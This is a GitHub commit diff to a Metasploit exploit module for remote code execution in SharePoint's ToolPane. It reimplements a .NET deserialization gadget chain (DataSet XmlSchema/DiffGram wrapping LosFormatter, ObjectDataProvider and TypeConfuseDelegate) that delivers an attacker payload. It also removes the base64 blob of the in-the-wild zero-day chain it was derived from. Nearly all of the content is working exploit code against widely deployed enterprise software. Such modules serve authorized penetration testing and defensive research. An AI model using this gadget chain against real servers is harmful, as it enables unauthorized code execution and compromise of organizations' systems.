Skip to content

Commit 7838e06

Browse files
committed
reimplement the gadget chain using the Metasploit Msf::Util::DotNetDeserialization routines
1 parent d2a1f7b commit 7838e06

File tree

1 file changed

+91
-18
lines changed

1 file changed

+91
-18
lines changed

modules/exploits/windows/http/sharepoint_toolpane_rce.rb

Lines changed: 91 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -153,6 +153,96 @@ def exploit
153153
send_exploit(gadget_raw)
154154
end
155155

156+
# This gadget chain was reconstructed from the PoC posted here (https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501)
157+
# and is thought to be from the zero-day exploit caught in-the-wild. The payload from the in-the-wild gadget chain has
158+
# been removed, and we instead use our nested_gadget_b64 to execute a Metasploit payload (via a separate
159+
# TypeConfuseDelegate gadget chain).
160+
class DataSetWrapper < Msf::Util::DotNetDeserialization::Types::SerializedStream
161+
162+
def self.generate(nested_gadget_b64)
163+
name_a = Rex::Text.rand_text_alpha_lower(8..16)
164+
name_b = Rex::Text.rand_text_alpha_lower(8..16)
165+
name_c = Rex::Text.rand_text_alpha_lower(8..16)
166+
167+
schema = <<~EOF
168+
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="#{name_a}">
169+
<xs:element name="#{name_a}" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
170+
<xs:complexType>
171+
<xs:choice minOccurs="0" maxOccurs="unbounded">
172+
<xs:element name="#{name_b}">
173+
<xs:complexType>
174+
<xs:sequence>
175+
<xs:element name="#{name_c}" msdata:DataType="System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" type="xs:anyType" minOccurs="0"/>
176+
</xs:sequence>
177+
</xs:complexType>
178+
</xs:element>
179+
</xs:choice>
180+
</xs:complexType>
181+
</xs:element>
182+
</xs:schema>
183+
EOF
184+
185+
diffgram = <<~EOF
186+
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
187+
<#{name_a}>
188+
<#{name_b} diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
189+
<#{name_c} xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
190+
<ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
191+
<ExpandedElement/>
192+
<ProjectedProperty0>
193+
<MethodName>Deserialize</MethodName>
194+
<MethodParameters>
195+
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">#{nested_gadget_b64}</anyType>
196+
</MethodParameters>
197+
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
198+
</ProjectedProperty0>
199+
</ExpandedWrapperOfLosFormatterObjectDataProvider>
200+
</#{name_c}>
201+
</#{name_b}>
202+
</#{name_a}>
203+
</diffgr:diffgram>
204+
EOF
205+
206+
system = Msf::Util::DotNetDeserialization::Assemblies::VERSIONS['4.0.0.0'].fetch('System.Data')
207+
208+
library = Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryLibrary.new(
209+
library_id: 2,
210+
library_name: system.to_s
211+
)
212+
213+
from_values([
214+
Msf::Util::DotNetDeserialization::Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),
215+
library,
216+
Msf::Util::DotNetDeserialization::Types::RecordValues::ClassWithMembersAndTypes.new(
217+
class_info: Msf::Util::DotNetDeserialization::Types::General::ClassInfo.new(
218+
obj_id: 1,
219+
name: 'System.Data.DataSet',
220+
member_names: %w[XmlSchema XmlDiffGram]
221+
),
222+
member_type_info: Msf::Util::DotNetDeserialization::Types::General::MemberTypeInfo.new(
223+
binary_type_enums: %i[String String]
224+
),
225+
library_id: library.library_id,
226+
member_values: [
227+
Msf::Util::DotNetDeserialization::Types::Record.from_value(
228+
Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
229+
obj_id: 3,
230+
string: schema
231+
)
232+
),
233+
Msf::Util::DotNetDeserialization::Types::Record.from_value(
234+
Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
235+
obj_id: 2,
236+
string: diffgram
237+
)
238+
),
239+
]
240+
),
241+
Msf::Util::DotNetDeserialization::Types::RecordValues::MessageEnd.new
242+
])
243+
end
244+
end
245+
156246
def create_gadget_chain
157247
# NOTE: Depending on the version of SharePoint, different gadgets can be used.
158248
#
@@ -174,24 +264,7 @@ def create_gadget_chain
174264

175265
typeconfusedelegate_gadget_b64 = Base64.strict_encode64(typeconfusedelegate_gadget_raw)
176266

177-
# This gadget chain was pulled from the PoC posted here (https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501)
178-
# and is thought to be from the zero-day exploit caught in-the-wild. The payload from the in-the-wild gadget has
179-
# been removed and replaced with a string value "HAX".
180-
#
181-
# TO-DO: get rid of this base64 blob, and construct the gadget using the Msf::Util::DotNetDeserializatio helper routines.
182-
dataset_gadget_b64 = 'AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0AgAAAAlYbWxTY2hlbWELWG1sRGlmZkdyYW0BAQIAAAAGAwAAAKEKPHhzOnNjaGVtYSB4bWxucz0iIiB4bWxuczp4cz0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiIHhtbG5zOm1zZGF0YT0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp4bWwtbXNkYXRhIiBpZD0ic29tZWRhdGFzZXQiPg0KICAgICAgICAgICAgICAgIDx4czplbGVtZW50IG5hbWU9InNvbWVkYXRhc2V0IiBtc2RhdGE6SXNEYXRhU2V0PSJ0cnVlIiBtc2RhdGE6VXNlQ3VycmVudExvY2FsZT0idHJ1ZSI+DQogICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjaG9pY2UgbWluT2NjdXJzPSIwIiBtYXhPY2N1cnM9InVuYm91bmRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHhzOmVsZW1lbnQgbmFtZT0iaGVoZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eHM6ZWxlbWVudCBuYW1lPSJwd24iIG1zZGF0YTpEYXRhVHlwZT0iU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uRGF0YS5TZXJ2aWNlcy5JbnRlcm5hbC5FeHBhbmRlZFdyYXBwZXJgMltbU3lzdGVtLldlYi5VSS5Mb3NGb3JtYXR0ZXIsIFN5c3RlbS5XZWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhXSxbU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzVdXSwgU3lzdGVtLkRhdGEuU2VydmljZXMsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0iIHR5cGU9InhzOmFueVR5cGUiIG1pbk9jY3Vycz0iMCIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmNob2ljZT4NCiAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICA8L3hzOnNjaGVtYT4GBAAAAMtHPGRpZmZncjpkaWZmZ3JhbSB4bWxuczptc2RhdGE9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206eG1sLW1zZGF0YSIgeG1sbnM6ZGlmZmdyPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOnhtbC1kaWZmZ3JhbS12MSI+DQogICAgICAgICAgICAgICAgPHNvbWVkYXRhc2V0Pg0KICAgICAgICAgICAgICAgICAgICA8aGVoZSBkaWZmZ3I6aWQ9IlRhYmxlIiBtc2RhdGE6cm93T3JkZXI9IjAiIGRpZmZncjpoYXNDaGFuZ2VzPSJpbnNlcnRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8cHduIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZFdyYXBwZXJPZkxvc0Zvcm1hdHRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiA+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZEVsZW1lbnQvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8UHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE1ldGhvZE5hbWU+RGVzZXJpYWxpemU8L01ldGhvZE5hbWU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8TWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YW55VHlwZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4c2k6dHlwZT0ieHNkOnN0cmluZyI+SEFYPC9hbnlUeXBlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9NZXRob2RQYXJhbWV0ZXJzPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE9iamVjdEluc3RhbmNlIHhzaTp0eXBlPSJMb3NGb3JtYXR0ZXIiPjwvT2JqZWN0SW5zdGFuY2U+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvUHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvRXhwYW5kZWRXcmFwcGVyT2ZMb3NGb3JtYXR0ZXJPYmplY3REYXRhUHJvdmlkZXI+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3B3bj4NCiAgICAgICAgICAgICAgICAgICAgPC9oZWhlPg0KICAgICAgICAgICAgICAgIDwvc29tZWRhdGFzZXQ+DQogICAgICAgICAgICA8L2RpZmZncjpkaWZmZ3JhbT4L'
183-
184-
dataset_gadget_raw = Base64.strict_decode64(dataset_gadget_b64)
185-
186-
# We have replaced the original payload from the in-the-wild exploit, with a string value "HAX". We use that "HAX"
187-
# value to swap in our TypeConfuseDelegate gadget chain, and then fix up the string lengths.
188-
dataset_gadget_raw.gsub!(
189-
'HAX',
190-
typeconfusedelegate_gadget_b64
191-
).gsub!(
192-
Msf::Util::DotNetDeserialization.encode_7bit_int(9163),
193-
Msf::Util::DotNetDeserialization.encode_7bit_int(9163 - 7772 + typeconfusedelegate_gadget_b64.length)
194-
)
267+
dataset_gadget_raw = DataSetWrapper.generate(typeconfusedelegate_gadget_b64).to_binary_s
195268

196269
vprint_status('Using XmlSchema DataSet + BinaryFormatter gadget chain:')
197270
vprint_line(Rex::Text.to_hex_dump(dataset_gadget_raw))

0 commit comments

Comments
 (0)